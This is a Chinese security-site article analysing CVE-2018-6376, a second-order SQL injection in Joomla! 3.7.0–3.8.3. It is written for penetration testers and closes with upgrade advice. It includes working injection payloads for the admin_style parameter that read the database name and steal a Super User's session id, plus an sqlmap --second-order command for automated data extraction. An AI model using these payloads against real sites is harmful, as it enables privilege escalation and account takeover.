freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

分析CVE-2018-6376 – Joomla!二阶SQL注入
2018-02-25 13:00:28

前言

每周我们都能听到或看到许多关于安全漏洞的预警或报告,虽然看上去大多数的漏洞都千篇一律,但对于我们渗透测试人员而言,其中的一些思路方法和利用点却尤为吸引我们的眼球。最近,知名的内容管理系统Joomla!就被曝出了存在二阶SQL注入漏洞。这里有一篇博文的分析大家可以看看:https://blog.ripstech.com/2018/joomla-privilege-escalation-via-sql-injection/

在本文中, Savan GadhiyaAmish Patadiya将尝试帮助我们理解并发现二阶SQL注入方法和利用技术。本文还将演示如何使用SQLmap来利用二阶SQL注入(即不要重复造轮子)。

什么是二阶SQL注入?

为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。此时,攻击者可能注入的是一个PAYLOAD,这样就会构成一个SQL查询语句并被执行,这就是所谓的二阶SQL注入。

了解更多:https://portswigger.net/kb/issues/00100210_sql-injection-second-order

下面,让我们来通过Joomla中二阶SQL注入的例子来更进一步的理解[CVE-2018-6376]。

详情

受影响Joomla!版本:<= 3.8.3 and >= 3.7.0

危害:可将低权限用户(Manager)提升为更高的的用户权限(Administrator’或‘ Super Administrator’)。

注入检测

现在,我们已经搭建好了一个版本为3.8.3的Joomla!平台用于测试如下图所示:

2.png

我们创建了具有“Super Users”权限的用户“amish”,以及具有“Manager”权限的另一个用户"savan",如下所示:

image003.png

我们的目标是将“Manager”权限的用户提升为“Super Administrator”权限。因此现在我们以用户'savan'的身份登录。下图显示了用户'savan'的仪表盘,并  且我们也可以看到Super User’当前也处于登录状态:

image004.png

从漏洞报告中我们知道,受影响的实例是位于配置文件资料更新页中。下图显示了用户'savan'的配置文件更新页面:

image005.png

让我们使用 BURP Suite来拦截配置文件更新请求。如下所示,表单数据的POST请求发向了以下地址:

http://<IP/domain>/joomla/administrator/index.php?option=com_admin&view=profile&layout=edit&id=645

image006.png

受影响的参数是‘forms[params][admin_style]‘,我们将下面的有效载荷插入到受影响的参数中,如下所示:

PAYLOAD: ‘ (单引号)

image07.png

成功提交此请求后,配置文件更新页将显示参考消息“已保存的项目”,如下图所示:

image008.png

以上并没有显示任何异样,因为该页面并没有使用被注入的PAYLOAD构造SQL查询并执行。让我们访问下面的URL,使用注入的有效载荷构造SQL查询,并执行,如下图所示:

http://<IP/domain>/joomla/administrator/index.php

image009.png

查看源代码我们可以得知,PAYLOAD的插入并不容易实施SQL注入攻击。下图显示了文件'/administrator/components/com_admin/controllers/profile.php'的代码片段,其中突出显示了“编辑配置文件”功能的路径:

image010.png

当用户更新配置文件详细信息时,应用程序将检索所有参数并返回JForm对象,如下图所示:

image011.png

下图显示应用程序将检索到的用户信息存储到数据库中:

image012.png

上面我们已经确认用户输入并未被构造用于SQL查询,因此PAYLOAD插入实例并不容易实施攻击,让我们在受影响的页面来利用它。如下图所示,我们插入以下字符串作为PAYLOAD,以查看SQL语句是如何被构造的:

PAYLOAD: test

image013.png

通过仪表盘上显示的错误信息我们可以看到,错误信息中仅显示了PAYLOAD的第一个字符。

image014.png

接着,我们做了进一步的尝试。我们注入了另一个payload‘AND sleep(5);–‘ 并刷新了仪表盘。如下图所示,我们得到了同样的结果:

image015.png

如果此时我们查看数据库,就会发现我们输入的PAYLOAD已被存储在了数据库中:

image016.png

在确认payload被正确存储后,下面让我们来验证受影响的代码是如何构造SQL查询的。受影响的实例来自‘administrator/templates/hathor/postinstall/hathormessage.php’文件。如下图所示,代码的第40行主要是从‘admin_style’参数获取用户的输入值并传递给‘adminstyle’变量。在第47行,代码直接使用用户提供的输入来构建SQL查询。这里我们把它看成是一个数组,因此索引值为0的存储值将被用于构造查询。这也就是为什么在错误信息中,只能看到第一字符的原因。

image017.png

现在我们已经知道了PAYLOAD会被视为一个数组,索引值为0的存储值将被用于构造查询。因此,让我们尝试提供一个数组‘[“test1″,”test2″,”test3”]’作为PAYLOAD。这么做的目的是测试第0个索引(即“test1”)是否会被用于构造SQL查询。但结果还是令我有点失望,错误信息依旧只显示了第一个字符“[”,这意味着程序将整个PAYLOAD视为了一个字符串,如下所示:

image018.png

到这我已经有点怀疑人生了,难道这并不是SQL注入的可利用实例吗?

Idea_Bulb_animated19.gif

灵光一现,我们想到了一个方法,即改变参数名提供数组‘admin_style’的第0个索引。如下图所示,我们使用'jform [params] [admin_style] [0]'更改了参数名称,并将相同的PAYLOAD注入到了'admin_style'的第0个索引中:

PAYLOAD: AND sleep(5);–

image020.png

现在我们可以看到,虽然PAYLOAD并没有被执行,但错误消息中已经可以完整显示我们的PAYLOAD内容。

image021.png

我们接着注入以下PAYLOAD来获取目标数据库名称,我们获取到了数据库名称为'joomla'如下图所示:

Payload: extractvalue(0x0a,concat(0x0a,(select database())))

image022.png

现在我们来实现我们的终极目标,即以超级管理员的权限访问应用程序。以下PAYLOAD将为我们获取到超级管理员用户“amish”的session id,如下图所示:

Payload: extractvalue(0x0a,concat(0x0a,(select * from joomla_session where username=’amish’)))

image023.png

成功获取session id后,我们就可以模拟超级管理员用户访问应用了。

自动化利用

当在实际的渗透环境中,我们不可能每次都手动进行测试,这样会消耗我们大量的时间。那么,如何让我们的测试实现自动化呢?

这里就不得不提sql注入的扫描神器SQLMap了。SQLMap为我们提供了专门针对二阶注入的查询开关,我们只需提供可能存在二阶注入的目标URL地址即可。

注意/限制:由于这是二阶SQL注入,所以我们不能使用多个线程来自动检查每个查询的输出。

如果我们直接将该实例提供给SQLMap,可能无法正常运作。为了解决这个问题,我们需要创建一个sqlmap可以将其PAYLOAD注入并顺利获取数据的查询。我们构造了以下PAYLOAD,作为请求中‘jform[params][admin_style][0]’参数的值,并使用SQLMap '-r'开关来解析请求,如下图所示:

PAYLOAD: extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))

image024.png

这里的‘*’代表SQLMap注入PAYLOAD的位置,例如:

  • extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 AND 5231=5231)))
  • extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 AND 5231=1623)))
  • extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 OR 7231=7231)))
  • extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 order by 1 —)))
  • extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 union all select NULL,NULL,NULL,’21231231232′)))

如下图所示,SQLMap现在使用以下命令检测注入并提取所有数据库名称:

sqlmap -r 1.txt –dbms MySQL –second-order “http://<IP/domain>/joomla/administrator/index.php” -D “joomla” –dbs

image025.png

通过Sqlmap我们可以轻松提取到更多的数据。

防护措施

为了避免该类漏洞对你的影响,请务必升级你的Joomla!至3.8.5版本(截至本文发布时的最新版本)。Joomla!也提供了代码层的修复方案,如下:

image026.png

 *参考来源:notsosecure,FB小编 secist 编译,转载请注明来自FreeBuf.COM

# SQL # joomla
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者